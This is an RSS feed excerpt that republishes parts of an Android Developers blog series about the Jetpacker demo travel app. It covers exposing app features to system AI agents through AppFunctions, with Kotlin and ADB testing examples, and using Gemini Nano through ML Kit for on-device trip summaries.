<p>Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database <span face="Roboto, sans-serif"> using the </span><span>addVoiceNote</span><span face="Roboto, sans-serif"> AppFunction.</span></p>

<h2>Android MCP powered by AppFunctions</h2>This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.<br><br><a href="https://d.android.com/ai/appfunctions">Android AppFunctions</a> is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s2500/Android%20MCP%20diagram.png"><img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s1600/Android%20MCP%20diagram.png"></a></div><br><p><br></p>

<p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.</i></div></i><p>Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.</p>

<p>When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.</p>

<h2>How we accelerated development with Android skills</h2>

To streamline the integration process, we leveraged the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a>. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary <code>Service</code> entry points, refining our <code>KDoc</code> documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

<h2>Providing app features to the intelligence system</h2>

<p>Enough with the theory, let's dive into the implementation.</p>

<h4>Configuration and dependency setup</h4>

<p>We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.</p>

<pre><code>implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")</code></pre>

<h4>Modeling custom data types</h4>

<p>Any custom object exchanged with the agent must be annotated with <code>@AppFunctionSerializable</code>. In our <a href="https://github.com/android/ai-samples/tree/main/jetpacker/android/feature/appfunctions/src/main/java/com/example/jetpacker/feature/appfunctions/TripSerializable.kt">TripSerializable.kt</a> file, we define our trip data model:</p>

<pre><code>@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List&lt;String&gt;,
)</code></pre>

<h4>Providing features using the @AppFunction annotation</h4>

<p>Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with <code>@AppFunction</code>. We can view this in searchTrip:</p>

<pre><code>/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List&lt;TripSerializable&gt; {
    return withContext(Dispatchers.IO) {
    // implementation
}</code></pre>

<p>Since AppFunctions run on the UI thread by default, we use <code>withContext(Dispatchers.IO)</code> to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.</p>

<h4>The service entry point and Hilt integration</h4>

<p>To register these features with the intelligence system, we create an abstract base class that extends <code>AppFunctionService</code>. We annotate it with <code>@AppFunctionServiceEntryPoint</code>:</p>

<pre><code>@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}</code></pre>

<p>During compilation, KSP generates the final concrete service subclass, <code>JetPackerAppFunctionService</code>, as declared with the <code>serviceName</code> parameter. We also register <code>app_metadata.xml</code> in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.</p>

<h2>Testing and verifying your AppFunctions</h2>

<p>Once implemented, you should verify that your AppFunctions are registered and working correctly.</p>

<p>Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running <code>adb shell cmd app_function list-app-functions</code> displays all registered functions for your package. You can then execute a specific function and test its database integration by running <code>adb shell cmd app_function execute-app-function</code> while passing a raw JSON parameters string.</p>

<p>Instead of these ADB commands, you can also use the <a href="https://github.com/android/appfunctions">AppFunctions Testing Agent</a> to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.</p>

<h2>Wrapping it up</h2>

<p>When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..</p>

<p>First, the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a> is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.</p>

<p>Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!</p>

<h2>Learn more</h2>

<p>Check out the other parts of this blog post series:<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1:</a></b> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3:</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4 (this post!):</b></a> System integration. Integrating with the Android intelligence system using AppFunctions. <br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>
  All code snippets in this blog post follow the following copyright notice:
</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Introduction to Jetpacker]]></title>
<description><![CDATA[Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer RelationsBuilding GenAI features in your app usually means navigating through various models, APIs and architecture choices: 

  Execution location: Where does your model run? On device, in the cloud, or both?
  Com...]]></description>
<link>https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:26 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigBFwd7rJO49I_puODKBWFqPbpHaGyL3CTFuZBbr0HTQConFnc3JP0dL9Rr_i6wmyW0o4Ku2bvv3SEacwpC3Vc6b7cYy0aRbZKdUDudFcraYO8zcBVkrMfbrfMP9How0J1xSi91xLnR4s5Z3s-Lp6RF2SA0gU56B9nXD0NkD_CU8MT6wbgBw1tRaMWcMo/s2469/0713%20Jetpacker%20Meta.png">
<div><i>Posted by Jolanda Verhoef, Senior Developer Relations Engineer, </i><i>Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s8583/0713%20Jetpacker%20Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s1600/0713%20Jetpacker%20Blog.png"></a></div><br><i><br></i><p>Building GenAI features in your app usually means navigating through various models, APIs and architecture choices: </p>
<ul>
  <li><strong>Execution location:</strong> Where does your model run? On device, in the cloud, or both?</li>
  <li><strong>Complexity:</strong> How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?</li>
  <li><strong>In-app or Android System:</strong> Should your feature be built into your Android app or does it fit better as an Android system integration?</li>
</ul>

<p>In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a <b>personalized</b>, <b>intelligent</b>, and <b>agentic</b> experience.</p>

<h2>Jetpacker: a demo travel app</h2>
<p>Jetpacker is a <b>technical showcase app</b> that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.</p><div>
  
  
</div>

<p>And best of all? It's fully <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">open source</a>!</p>

<p>Today we are publishing a series of<b> technical blog posts</b> diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.</p>

<h2><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">On-device intelligence</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1848/on-device-features.png"><img border="0" data-original-height="1256" data-original-width="1848" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1600/on-device-features.png"></a></div><div><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></div><p>Using an on-device model comes with <b>no additional cloud inference</b> costs, means you don't have to worry about <b>internet connectivity</b>, and lets users be confident that private information will be <b>processed locally</b>, on the device, without any of their data being sent to the cloud.</p>

<p>In Jetpacker, we chose on-device inference for three of our features:</p>
<ul>
  <li>The <b>trip overview</b> feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit GenAI APIs</a> to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.</li>
  <li>The <b>expense tracker</b> automatically extracts structured data from receipt images to help users track their travel spending. It uses the <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started#provide-multimodal">multimodal capabilities</a> of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.</li>
  <li>The <b>audio diary </b>records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit Speech Recognition</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">GenAI Prompt APIs</a>. We chose an on-device solution for privacy and connectivity reasons.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html" target="_blank">Cloud &amp; hybrid inference</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s2722/cloud-hybrid-features.png"><img border="0" data-original-height="1632" data-original-width="2722" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s1600/cloud-hybrid-features.png"></a></div><br><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.</i></div></i><p>Sometimes your use-case requires AI models with <b>greater world knowledge</b> or a much <b>larger context window</b> and with greater ability in <b>handling complex tasks</b>. In that case, we can switch from running an on-device model to using a cloud model instead.</p>

<p>Or, if you want to get the best of both worlds, you can use hybrid inference to <b>dynamically choose</b> either a cloud or on-device model at runtime. This allows us to <b>lower costs</b> by moving inference to the device when it is available, but at the same time <b>support all Android devices</b> running the app.</p>

<p>In Jetpacker, we implemented several features using cloud or hybrid inference:</p>
<ul>
  <li>The <b>place Q&amp;A</b> feature answers user questions about specific locations by grounding responses in real-world data. It uses <a href="https://firebase.google.com/docs/ai-logic">Firebase AI Logic</a> integrated with <a href="https://firebase.google.com/docs/ai-logic/grounding-google-maps">Google Maps</a> and <a href="https://firebase.google.com/docs/ai-logic/grounding-google-search">web context</a>. Using a cloud model is necessary here for its greater world knowledge.</li>
  <li>The <b>review drafting</b> feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new <a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started">Hybrid inference API</a>. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.</li>
  <li>The <b>automatic chat translation</b> dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html">System integration</a></h2><div>
  
  
</div>
<p>While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the <a href="https://developer.android.com/ai/appfunctions">AppFunctions API</a> to integrate with system-level intelligence.</p>

<h2>In-app agentic workflows (coming soon!)</h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/s1618/agentic-feature-booking-assistant%20(1).png"><img border="0" data-original-height="1618" data-original-width="844" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/w209-h400/agentic-feature-booking-assistant%20(1).png" width="209"></a></div><i><div><i>The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.</i></div></i><p>Agenticness introduces a higher level of<b> autonomy</b>, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to <b>reason</b>, use <b>tools</b>, and <b>adapt </b>its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.</p>

<p>For Jetpacker we added a <b>booking assistant</b> that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using <a href="https://a2ui.org/">A2UI</a> and <a href="https://adk.dev/">ADK</a> running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.</p>

<h2>Learn more</h2>
<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1 (this post!):</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b></a> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p></div>]]></content:encoded>
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<item>
<title><![CDATA[Build intelligent Android apps: On-device inference]]></title>
<description><![CDATA[Posted by Caren Chang, Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jet...]]></description>
<link>https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:25 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7g4aJ0ZhzVcuPr3SzBJIVQ_MZT3hIXb1Ff8SVjjrvRjYzZwhgoE7IbHryS6Ds7u7if1_tmVmMdkFNAtPADXoeuRQ_64Pxfnp3oq2aHR8hbS3fDExGxE0nSiOvXPw7SonhNdjFNI2eDJfasEEMs0xjh2gZlyPq6ToimvFlaMv2-nVDz_XLnSXK1iCn4U/s2469/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Meta%20v02.png"><div><i>Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s8582/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"><img border="0" data-original-height="2601" data-original-width="8582" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s1600/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"></a></div><br><i><br></i><div><i><br></i><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized, intelligent, </b>and <b>agentic </b>experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">previous post we introduced Jetpacker</a>, the demo app we'll use throughout this series.</p>

<p>In this blog post, we will share how you can use Gemini Nano through <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> to build intelligent on-device features.</p>
<div>
  
  
</div>

<p>Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:</p>
<ul>
  <li>User data can be processed <b>locally</b> on the device, preserving user privacy</li>
  <li>Functionality of the model is <b>reliable</b> even with spotty or no internet connection</li>
  <li>No additional cloud inference <b>cost</b>, since everything runs on the user’s hardware</li>
</ul>

<p>With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.</p>

<h2><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/s1848/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png"><img border="0" data-original-height="1256" data-original-width="1848" height="434" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/w640-h434/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png" width="640"></a></div><div><span><span><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></span></span></div><div class="separator"><br></div>High quality tailored summarization of short texts</h2>

<p>The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘<b>Get ready for your trip</b>’ section at the top.</p>
<p><em></em></p>
<div class="separator"><em><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/s2499/Screenshot_20260702_111934.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/w189-h400/Screenshot_20260702_111934.png" width="189"></a></em></div>
<div><span><span><i>The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.</i></span></span></div>
<p></p>

<p>By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:</p>
<ul>
  <li><b>Performance and quality</b>: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.</li>
  <li><b>Scalability</b>: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.</li>
  <li><b>Low latency and reliability</b>: On-device inference guarantees low latency, providing a reliable experience even when users are offline.</li>
</ul>

<p>To build with on-device, we use <b>Gemini Nano</b>, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, <a href="https://android-developers.googleblog.com/2026/04/AI-Core-Developer-Preview.html">Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model</a>, and is further optimized for maximum battery and performance efficiency.</p>

<p>Using ML Kit’s <b>Prompt API</b>, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")</code></pre>

<p>Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">developer preview option for AICore</a>, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt <a href="https://github.com/android/ai-samples/blob/40b999ef0e85693eac4de06e58335f0f5f125fa6/jetpacker/android/feature/trip/itinerary/enrichment/src/main/kotlin/com/example/jetpacker/feature/itinerary_enrichment/TripSummaryAndTipsProviderImpl.kt#L100" target="_blank">here</a>.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/s553/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif"><img border="0" data-original-height="553" data-original-width="496" height="400" 